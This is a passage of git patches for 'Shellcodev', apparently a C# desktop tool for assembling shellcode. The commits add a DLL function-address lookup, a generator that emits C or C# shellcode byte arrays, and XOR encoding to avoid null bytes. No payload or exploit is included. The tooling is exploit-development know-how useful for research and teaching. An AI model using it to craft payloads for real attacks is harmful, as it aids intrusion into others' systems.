a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -29,11 +29,29 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.instructionGrid = new System.Windows.Forms.DataGridView(); - this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.instructionTxt = new System.Windows.Forms.TextBox(); this.addInstructionBtn = new System.Windows.Forms.Button(); this.bytesBox = new System.Windows.Forms.RichTextBox(); + this.registersBox = new System.Windows.Forms.RichTextBox(); + this.pointersBox = new System.Windows.Forms.RichTextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.testerBldBtn = new System.Windows.Forms.Button(); + this.shlcTestBtn = new System.Windows.Forms.Button(); + this.dllAddrBox = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.getAddrBtn = new System.Windows.Forms.Button(); + this.cRBtn = new System.Windows.Forms.RadioButton(); + this.csRBtn = new System.Windows.Forms.RadioButton(); + this.generateBtn = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); this.SuspendLayout(); // @@ -42,22 +60,16 @@ private void InitializeComponent() this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Instruction}); - this.instructionGrid.Location = new System.Drawing.Point(38, 31); + this.instructionGrid.Location = new System.Drawing.Point(35, 161); this.instructionGrid.Name = "instructionGrid"; - this.instructionGrid.Size = new System.Drawing.Size(343, 389); + this.instructionGrid.Size = new System.Drawing.Size(371, 389); this.instructionGrid.TabIndex = 0; this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); // - // Instruction - // - this.Instruction.HeaderText = "Instruction"; - this.Instruction.Name = "Instruction"; - this.Instruction.Width = 300; - // // instructionTxt // - this.instructionTxt.Location = new System.Drawing.Point(38, 436); + this.instructionTxt.Location = new System.Drawing.Point(35, 566); this.instructionTxt.Name = "instructionTxt"; this.instructionTxt.Size = new System.Drawing.Size(239, 20); this.instructionTxt.TabIndex = 1; @@ -65,7 +77,7 @@ private void InitializeComponent() // // addInstructionBtn // - this.addInstructionBtn.Location = new System.Drawing.Point(306, 436); + this.addInstructionBtn.Location = new System.Drawing.Point(331, 564); this.addInstructionBtn.Name = "addInstructionBtn"; this.addInstructionBtn.Size = new System.Drawing.Size(75, 22); this.addInstructionBtn.TabIndex = 2; @@ -75,27 +87,220 @@ private void InitializeComponent() // // bytesBox // - this.bytesBox.Location = new System.Drawing.Point(553, 80); + this.bytesBox.Location = new System.Drawing.Point(445, 161); this.bytesBox.Name = "bytesBox"; - this.bytesBox.Size = new System.Drawing.Size(350, 204); + this.bytesBox.Size = new System.Drawing.Size(340, 389); this.bytesBox.TabIndex = 3; this.bytesBox.Text = ""; // + // registersBox + // + this.registersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.registersBox.Location = new System.Drawing.Point(35, 39); + this.registersBox.Multiline = false; + this.registersBox.Name = "registersBox"; + this.registersBox.ReadOnly = true; + this.registersBox.Size = new System.Drawing.Size(371, 21); + this.registersBox.TabIndex = 4; + this.registersBox.Text = "EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: 00000000"; + // + // pointersBox + // + this.pointersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.pointersBox.Location = new System.Drawing.Point(35, 121); + this.pointersBox.Multiline = false; + this.pointersBox.Name = "pointersBox"; + this.pointersBox.ReadOnly = true; + this.pointersBox.Size = new System.Drawing.Size(278, 21); + this.pointersBox.TabIndex = 4; + this.pointersBox.Text = "EIP: 00000000 ESP: 00000000 EBP: 00000000"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(32, 105); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(45, 13); + this.label1.TabIndex = 5; + this.label1.Text = "Pointers"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(32, 23); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(51, 13); + this.label2.TabIndex = 5; + this.label2.Text = "Registers"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(442, 145); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(114, 13); + this.label3.TabIndex = 5; + this.label3.Text = "Assembled instructions"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(32, 145); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(61, 13); + this.label4.TabIndex = 5; + this.label4.Text = "Instructions"; + // // richTextBox1 // - this.richTextBox1.Location = new System.Drawing.Point(436, 31); + this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.richTextBox1.Location = new System.Drawing.Point(35, 80); + this.richTextBox1.Multiline = false; this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.Size = new System.Drawing.Size(467, 30); + this.richTextBox1.ReadOnly = true; + this.richTextBox1.Size = new System.Drawing.Size(186, 22); this.richTextBox1.TabIndex = 4; - this.richTextBox1.Text = ""; + this.richTextBox1.Text = "EDI: 00000000 ESI: 00000000"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(32, 64); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(44, 13); + this.label5.TabIndex = 5; + this.label5.Text = "Indexes"; + // + // Instruction + // + this.Instruction.HeaderText = "Instruction"; + this.Instruction.Name = "Instruction"; + this.Instruction.Width = 328; + // + // testerBldBtn + // + this.testerBldBtn.Location = new System.Drawing.Point(445, 564); + this.testerBldBtn.Name = "testerBldBtn"; + this.testerBldBtn.Size = new System.Drawing.Size(121, 22); + this.testerBldBtn.TabIndex = 2; + this.testerBldBtn.Text = "Build shellcode tester"; + this.testerBldBtn.UseVisualStyleBackColor = true; + // + // shlcTestBtn + // + this.shlcTestBtn.Location = new System.Drawing.Point(664, 564); + this.shlcTestBtn.Name = "shlcTestBtn"; + this.shlcTestBtn.Size = new System.Drawing.Size(121, 22); + this.shlcTestBtn.TabIndex = 2; + this.shlcTestBtn.Text = "Test shellcode"; + this.shlcTestBtn.UseVisualStyleBackColor = true; + // + // dllAddrBox + // + this.dllAddrBox.Location = new System.Drawing.Point(478, 98); + this.dllAddrBox.Name = "dllAddrBox"; + this.dllAddrBox.Size = new System.Drawing.Size(121, 20); + this.dllAddrBox.TabIndex = 6; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(443, 81); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(67, 13); + this.label6.TabIndex = 5; + this.label6.Text = "Get address:"; + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(664, 98); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(121, 20); + this.textBox1.TabIndex = 6; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(442, 101); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(30, 13); + this.label7.TabIndex = 5; + this.label7.Text = "DLL:"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(607, 101); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(51, 13); + this.label8.TabIndex = 5; + this.label8.Text = "Function:"; + // + // getAddrBtn + // + this.getAddrBtn.Location = new System.Drawing.Point(591, 124); + this.getAddrBtn.Name = "getAddrBtn"; + this.getAddrBtn.Size = new System.Drawing.Size(84, 22); + this.getAddrBtn.TabIndex = 2; + this.getAddrBtn.Text = "Get Address"; + this.getAddrBtn.UseVisualStyleBackColor = true; + // + // cRBtn + // + this.cRBtn.AutoSize = true; + this.cRBtn.Location = new System.Drawing.Point(651, 31); + this.cRBtn.Name = "cRBtn"; + this.cRBtn.Size = new System.Drawing.Size(67, 17); + this.cRBtn.TabIndex = 7; + this.cRBtn.TabStop = true; + this.cRBtn.Text = "C Format"; + this.cRBtn.UseVisualStyleBackColor = true; + // + // csRBtn + // + this.csRBtn.AutoSize = true; + this.csRBtn.Location = new System.Drawing.Point(651, 52); + this.csRBtn.Name = "csRBtn"; + this.csRBtn.Size = new System.Drawing.Size(74, 17); + this.csRBtn.TabIndex = 7; + this.csRBtn.TabStop = true; + this.csRBtn.Text = "C# Format"; + this.csRBtn.UseVisualStyleBackColor = true; + // + // generateBtn + // + this.generateBtn.Location = new System.Drawing.Point(540, 23); + this.generateBtn.Name = "generateBtn"; + this.generateBtn.Size = new System.Drawing.Size(100, 55); + this.generateBtn.TabIndex = 2; + this.generateBtn.Text = "Generate"; + this.generateBtn.UseVisualStyleBackColor = true; // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(948, 485); + this.ClientSize = new System.Drawing.Size(832, 595); + this.Controls.Add(this.csRBtn); + this.Controls.Add(this.cRBtn); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.dllAddrBox); + this.Controls.Add(this.label4); + this.Controls.Add(this.label3); + this.Controls.Add(this.label2); + this.Controls.Add(this.label5); + this.Controls.Add(this.label7); + this.Controls.Add(this.label8); + this.Controls.Add(this.label6); + this.Controls.Add(this.label1); this.Controls.Add(this.richTextBox1); + this.Controls.Add(this.pointersBox); + this.Controls.Add(this.registersBox); this.Controls.Add(this.bytesBox); + this.Controls.Add(this.shlcTestBtn); + this.Controls.Add(this.testerBldBtn); + this.Controls.Add(this.generateBtn); + this.Controls.Add(this.getAddrBtn); this.Controls.Add(this.addInstructionBtn); this.Controls.Add(this.instructionTxt); this.Controls.Add(this.instructionGrid); @@ -110,9 +315,27 @@ private void InitializeComponent() #endregion private System.Windows.Forms.TextBox instructionTxt; private System.Windows.Forms.Button addInstructionBtn; - private System.Windows.Forms.DataGridViewTextBoxColumn Instruction; public System.Windows.Forms.DataGridView instructionGrid; public System.Windows.Forms.RichTextBox bytesBox; + private System.Windows.Forms.RichTextBox registersBox; + private System.Windows.Forms.RichTextBox pointersBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.DataGridViewTextBoxColumn Instruction; private System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Button testerBldBtn; + private System.Windows.Forms.Button shlcTestBtn; + private System.Windows.Forms.TextBox dllAddrBox; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Button getAddrBtn; + private System.Windows.Forms.RadioButton cRBtn; + private System.Windows.Forms.RadioButton csRBtn; + private System.Windows.Forms.Button generateBtn; } } \ No newline at end of file diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index 888969e..eb8d8bf 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,4 +120,7 @@ True + + True + \ No newline at end of file From a74bca1f736964aadd79018f84aff7365a37c75a Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 17 Oct 2021 14:32:12 +0200 Subject: [PATCH 17/64] Get DLL function address --- Shellcodev/Core/AssemblyHandler.cs | 6 ++++++ Shellcodev/Forms/Main.Designer.cs | 17 +++++++++-------- Shellcodev/Forms/Main.cs | 14 ++++++++++++++ Shellcodev/Forms/Main.resx | 3 --- 4 files changed, 29 insertions(+), 11 deletions(-) diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index f55d77f..9296c7e 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -7,6 +7,12 @@ class API { [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procname); + + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string name); } public class AssemblyHandler diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index b9f33c9..13926a3 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -45,7 +45,7 @@ private void InitializeComponent() this.shlcTestBtn = new System.Windows.Forms.Button(); this.dllAddrBox = new System.Windows.Forms.TextBox(); this.label6 = new System.Windows.Forms.Label(); - this.textBox1 = new System.Windows.Forms.TextBox(); + this.funcTxt = new System.Windows.Forms.TextBox(); this.label7 = new System.Windows.Forms.Label(); this.label8 = new System.Windows.Forms.Label(); this.getAddrBtn = new System.Windows.Forms.Button(); @@ -211,12 +211,12 @@ private void InitializeComponent() this.label6.TabIndex = 5; this.label6.Text = "Get address:"; // - // textBox1 + // funcTxt // - this.textBox1.Location = new System.Drawing.Point(664, 98); - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(121, 20); - this.textBox1.TabIndex = 6; + this.funcTxt.Location = new System.Drawing.Point(664, 98); + this.funcTxt.Name = "funcTxt"; + this.funcTxt.Size = new System.Drawing.Size(121, 20); + this.funcTxt.TabIndex = 6; // // label7 // @@ -244,6 +244,7 @@ private void InitializeComponent() this.getAddrBtn.TabIndex = 2; this.getAddrBtn.Text = "Get Address"; this.getAddrBtn.UseVisualStyleBackColor = true; + this.getAddrBtn.Click += new System.EventHandler(this.getAddrBtn_Click); // // cRBtn // @@ -283,7 +284,7 @@ private void InitializeComponent() this.ClientSize = new System.Drawing.Size(832, 595); this.Controls.Add(this.csRBtn); this.Controls.Add(this.cRBtn); - this.Controls.Add(this.textBox1); + this.Controls.Add(this.funcTxt); this.Controls.Add(this.dllAddrBox); this.Controls.Add(this.label4); this.Controls.Add(this.label3); @@ -330,7 +331,7 @@ private void InitializeComponent() private System.Windows.Forms.Button shlcTestBtn; private System.Windows.Forms.TextBox dllAddrBox; private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.TextBox funcTxt; private System.Windows.Forms.Label label7; private System.Windows.Forms.Label label8; private System.Windows.Forms.Button getAddrBtn; diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 3042f7d..798346e 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,6 +1,7 @@ using System; using System.Drawing; using System.Linq; +using System.Text; using System.Windows.Forms; namespace Shellcodev.Forms @@ -97,5 +98,18 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg bytesBox.Select(search, bytesBox.Lines[editedRow].Length); bytesBox.SelectedText = bytes; } + + private void getAddrBtn_Click(object sender, EventArgs e) + { + string dll = dllAddrBox.Text; + string function = funcTxt.Text; + + var lib = API.LoadLibrary(dll); + var address = API.GetProcAddress(lib, function); + string hexValue = address.ToString("X"); + + if(MessageBox.Show("0x"+hexValue, "Function address (Press OK to copy)", MessageBoxButtons.OK) == System.Windows.Forms.DialogResult.OK) + Clipboard.SetText("0x" + hexValue); + } } } \ No newline at end of file diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index eb8d8bf..888969e 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,7 +120,4 @@ True - - True - \ No newline at end of file From 46d31ceb0fcb0542939af6e11010db67b989abb3 Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 17 Oct 2021 14:59:37 +0200 Subject: [PATCH 18/64] Indexes and bytesBox lines resort on instruction remove --- Shellcodev/Forms/Main.cs | 29 +++++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 798346e..0ae1004 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -8,6 +8,7 @@ namespace Shellcodev.Forms { public partial class Main : Form { + private static int previousIndex; private static Main instance; public static Main ReturnInstance() { @@ -24,6 +25,7 @@ public Main() instance = this; } + #region InstructionRegion private void addInstructionBtn_Click(object sender, EventArgs e) { if (String.IsNullOrEmpty(instructionTxt.Text)) @@ -44,7 +46,6 @@ private void instructionTxt_KeyDown(object sender, KeyEventArgs e) } } - private static int previousIndex; private void instructionGrid_SelectionChanged(object sender, EventArgs e) { int index = instructionGrid.CurrentCell.RowIndex; @@ -89,8 +90,31 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg DataGridViewRow row = instructionGrid.Rows[editedRow]; var rowValue = row.Cells[0].Value; - if (rowValue == null) + if (rowValue == null) //Remove row from grid + { + instructionGrid.Rows.Remove(row); + + //Resort indexes + for(int i = editedRow; i < instructionGrid.Rows.Count; i++) + { + DataGridViewRow dgvr = instructionGrid.Rows[i]; + if(dgvr.Cells[0].Value != null) + dgvr.HeaderCell.Value = (dgvr.Index + 1).ToString(); + } + + //Remove line from textbox + int startIndex = bytesBox.GetFirstCharIndexFromLine(editedRow); + int count = bytesBox.Lines[editedRow].Length; + + if(editedRow < bytesBox.Lines.Length - 1) + { + count += bytesBox.GetFirstCharIndexFromLine(editedRow + 1) - + ((startIndex + count - 1) + 1); + } + bytesBox.Text = bytesBox.Text.Remove(startIndex, count); + return; + } string bytes = handler.Assembler(rowValue.ToString()); int search = bytesBox.Text.IndexOf(bytesBox.Lines[editedRow]); @@ -98,6 +122,7 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg bytesBox.Select(search, bytesBox.Lines[editedRow].Length); bytesBox.SelectedText = bytes; } + #endregion private void getAddrBtn_Click(object sender, EventArgs e) { From a2b459b8e48792b0885f20615788bde30579907f Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 17 Oct 2021 15:29:16 +0200 Subject: [PATCH 19/64] Code cleaning --- Shellcodev/Forms/Main.Designer.cs | 2 ++ Shellcodev/Forms/Main.cs | 33 +++++++++++++++++++++---------- Shellcodev/Forms/Main.resx | 3 +++ 3 files changed, 28 insertions(+), 10 deletions(-) diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 13926a3..8a38e97 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -256,6 +256,7 @@ private void InitializeComponent() this.cRBtn.TabStop = true; this.cRBtn.Text = "C Format"; this.cRBtn.UseVisualStyleBackColor = true; + this.cRBtn.CheckedChanged += new System.EventHandler(this.cRBtn_CheckedChanged); // // csRBtn // @@ -267,6 +268,7 @@ private void InitializeComponent() this.csRBtn.TabStop = true; this.csRBtn.Text = "C# Format"; this.csRBtn.UseVisualStyleBackColor = true; + this.csRBtn.CheckedChanged += new System.EventHandler(this.csRBtn_CheckedChanged); // // generateBtn // diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 0ae1004..21488c2 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,7 +1,6 @@ using System; using System.Drawing; using System.Linq; -using System.Text; using System.Windows.Forms; namespace Shellcodev.Forms @@ -25,6 +24,19 @@ public Main() instance = this; } + private void getAddrBtn_Click(object sender, EventArgs e) + { + string dll = dllAddrBox.Text; + string function = funcTxt.Text; + + var lib = API.LoadLibrary(dll); + var address = API.GetProcAddress(lib, function); + string hexValue = address.ToString("X"); + + if (MessageBox.Show("0x" + hexValue, "Function address (Press OK to copy)", MessageBoxButtons.OK) == System.Windows.Forms.DialogResult.OK) + Clipboard.SetText("0x" + hexValue); + } + #region InstructionRegion private void addInstructionBtn_Click(object sender, EventArgs e) { @@ -124,17 +136,18 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg } #endregion - private void getAddrBtn_Click(object sender, EventArgs e) + #region radio + private void cRBtn_CheckedChanged(object sender, EventArgs e) { - string dll = dllAddrBox.Text; - string function = funcTxt.Text; - - var lib = API.LoadLibrary(dll); - var address = API.GetProcAddress(lib, function); - string hexValue = address.ToString("X"); + if(csRBtn.Checked) + csRBtn.Checked = false; + } - if(MessageBox.Show("0x"+hexValue, "Function address (Press OK to copy)", MessageBoxButtons.OK) == System.Windows.Forms.DialogResult.OK) - Clipboard.SetText("0x" + hexValue); + private void csRBtn_CheckedChanged(object sender, EventArgs e) + { + if (cRBtn.Checked) + cRBtn.Checked = false; } + #endregion } } \ No newline at end of file diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index 888969e..eb8d8bf 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,4 +120,7 @@ True + + True + \ No newline at end of file From ea40017a9f57e689de7d47e5e35656727466e319 Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 17 Oct 2021 15:55:18 +0200 Subject: [PATCH 20/64] Initial shellcode generator commit --- Shellcodev/Forms/Generator.Designer.cs | 59 ++++++++++++ Shellcodev/Forms/Generator.cs | 39 ++++++++ Shellcodev/Forms/Generator.resx | 120 +++++++++++++++++++++++++ Shellcodev/Forms/Main.Designer.cs | 1 + Shellcodev/Forms/Main.cs | 12 ++- Shellcodev/Shellcodev.csproj | 9 ++ 6 files changed, 239 insertions(+), 1 deletion(-) create mode 100644 Shellcodev/Forms/Generator.Designer.cs create mode 100644 Shellcodev/Forms/Generator.cs create mode 100644 Shellcodev/Forms/Generator.resx diff --git a/Shellcodev/Forms/Generator.Designer.cs b/Shellcodev/Forms/Generator.Designer.cs new file mode 100644 index 0000000..f095d74 --- /dev/null +++ b/Shellcodev/Forms/Generator.Designer.cs @@ -0,0 +1,59 @@ +namespace Shellcodev.Forms +{ + partial class Generator + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.shellTxt = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // shellTxt + // + this.shellTxt.Location = new System.Drawing.Point(118, 71); + this.shellTxt.Multiline = true; + this.shellTxt.Name = "shellTxt"; + this.shellTxt.Size = new System.Drawing.Size(518, 260); + this.shellTxt.TabIndex = 0; + // + // Generator + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.shellTxt); + this.Name = "Generator"; + this.Text = "Generator"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox shellTxt; + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Generator.cs b/Shellcodev/Forms/Generator.cs new file mode 100644 index 0000000..799b085 --- /dev/null +++ b/Shellcodev/Forms/Generator.cs @@ -0,0 +1,39 @@ +using System; +using System.Windows.Forms; + +namespace Shellcodev.Forms +{ + public partial class Generator : Form + { + public Generator() + { + InitializeComponent(); + this.Show(); + } + + public Generator(string bytes, bool format) : this() + { + if (format) + CSFormat(bytes); + else + CFormat(bytes); + } + + private void CSFormat(string bytes) + { + string[] byteArray = bytes.Split(new char[] {' ','\n'}, StringSplitOptions.RemoveEmptyEntries); + + foreach (string str in byteArray) + shellTxt.Text += "0x" + str + " "; + } + + private void CFormat(string bytes) + { + string[] byteArray = bytes.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + //Make unsigned char bytes = 15 bytes in line in double quotes + foreach (string str in byteArray) + shellTxt.Text += @"\x" + str; + } + } +} diff --git a/Shellcodev/Forms/Generator.resx b/Shellcodev/Forms/Generator.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Shellcodev/Forms/Generator.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 8a38e97..b206cc9 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -278,6 +278,7 @@ private void InitializeComponent() this.generateBtn.TabIndex = 2; this.generateBtn.Text = "Generate"; this.generateBtn.UseVisualStyleBackColor = true; + this.generateBtn.Click += new System.EventHandler(this.generateBtn_Click); // // Main // diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 21488c2..6c93c51 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -15,7 +15,6 @@ public static Main ReturnInstance() } //TODO: Show registers value at runtime - // If someone removes content of gridview row, delete it // https://github.com/asmjit/asmjit/issues/27 public Main() @@ -37,6 +36,17 @@ private void getAddrBtn_Click(object sender, EventArgs e) Clipboard.SetText("0x" + hexValue); } + private void generateBtn_Click(object sender, EventArgs e) + { + string bytes = bytesBox.Text; + if (csRBtn.Checked) + new Generator(bytes, true); + else if (cRBtn.Checked) + new Generator(bytes, false); + else + return; + } + #region InstructionRegion private void addInstructionBtn_Click(object sender, EventArgs e) { diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj index 9b58519..766293f 100644 --- a/Shellcodev/Shellcodev.csproj +++ b/Shellcodev/Shellcodev.csproj @@ -48,6 +48,12 @@ + + Form + + + Generator.cs + Form @@ -56,6 +62,9 @@ + + Generator.cs + Main.cs From c75caeba021ea6d78dea9ae124c7cc63760cf37b Mon Sep 17 00:00:00 2001 From: XaFF Date: Mon, 18 Oct 2021 17:56:29 +0200 Subject: [PATCH 21/64] Added function that handles nullbyte in snippet by XORing & Todo list update --- Shellcodev/Core/Instruction.cs | 38 +++++++++++++++++++++++++--------- Shellcodev/Forms/Generator.cs | 9 ++++++-- Shellcodev/Forms/Main.cs | 4 ++++ 3 files changed, 39 insertions(+), 12 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 4986ca1..a5bdde3 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -23,6 +23,7 @@ public bool ValidateInstruction() public class InstructionConverter { + public bool bitwise = false; private string EncodeValues(string instructionPart, bool small) { byte[] bytes = Encoding.Default.GetBytes(instructionPart); @@ -34,19 +35,33 @@ private string EncodeValues(string instructionPart, bool small) result.Add(splited[i]); string temp = null; - if(!small) - foreach (string str in result) - temp += str; - else - foreach(string str in result) + foreach (string str in result) + temp += str; + + //Testing if push would contain nullbytes + AssemblyHandler handler = new AssemblyHandler(); + string test = handler.Assembler("push 0x" + temp); + string temp1 = null; + for(int i = 0; i < test.Length; i++) + { + if(temp1 != null && temp1.Length % 2 == 0) { - string temp2 = str; + if (temp1 == "00") + { + int value = Convert.ToInt32("0x" + temp, 16); + int key = Convert.ToInt32("0x11111111", 16); - for(int i = 0; i < 8 - str.Length; i++) - temp2 = "0" + temp2; + int res = value ^ key; + string hexResult = res.ToString("X"); - temp += temp2; + bitwise = true; + return "0x" + hexResult; + } + else + temp1 = null; } + temp1 += test[i]; + } return "0x" + temp; } @@ -67,7 +82,7 @@ public string[] StringAssembler(string instruction) .Select(e => new String(e.ToArray())); List result = new List(); - foreach(string str in output) + foreach (string str in output) { if (str.Length < 4) result.Add(EncodeValues(str, true)); @@ -82,8 +97,10 @@ public string[] StringAssembler(string instruction) public class Instruction { public string instruction; + public string register; private static int rowId = 1; + //Rewrite. Add support for XORed values and make stack vice versa public Instruction(string instruction) { string[] arrBytes = null; @@ -91,6 +108,7 @@ public Instruction(string instruction) var converter = new InstructionConverter(); string register = instruction.Substring(3, 4); + this.register = register; if (instruction.Contains("\"")) { diff --git a/Shellcodev/Forms/Generator.cs b/Shellcodev/Forms/Generator.cs index 799b085..fc98851 100644 --- a/Shellcodev/Forms/Generator.cs +++ b/Shellcodev/Forms/Generator.cs @@ -23,8 +23,13 @@ private void CSFormat(string bytes) { string[] byteArray = bytes.Split(new char[] {' ','\n'}, StringSplitOptions.RemoveEmptyEntries); - foreach (string str in byteArray) - shellTxt.Text += "0x" + str + " "; + for(int i = 0; i < byteArray.Length; i++) + { + if(i == 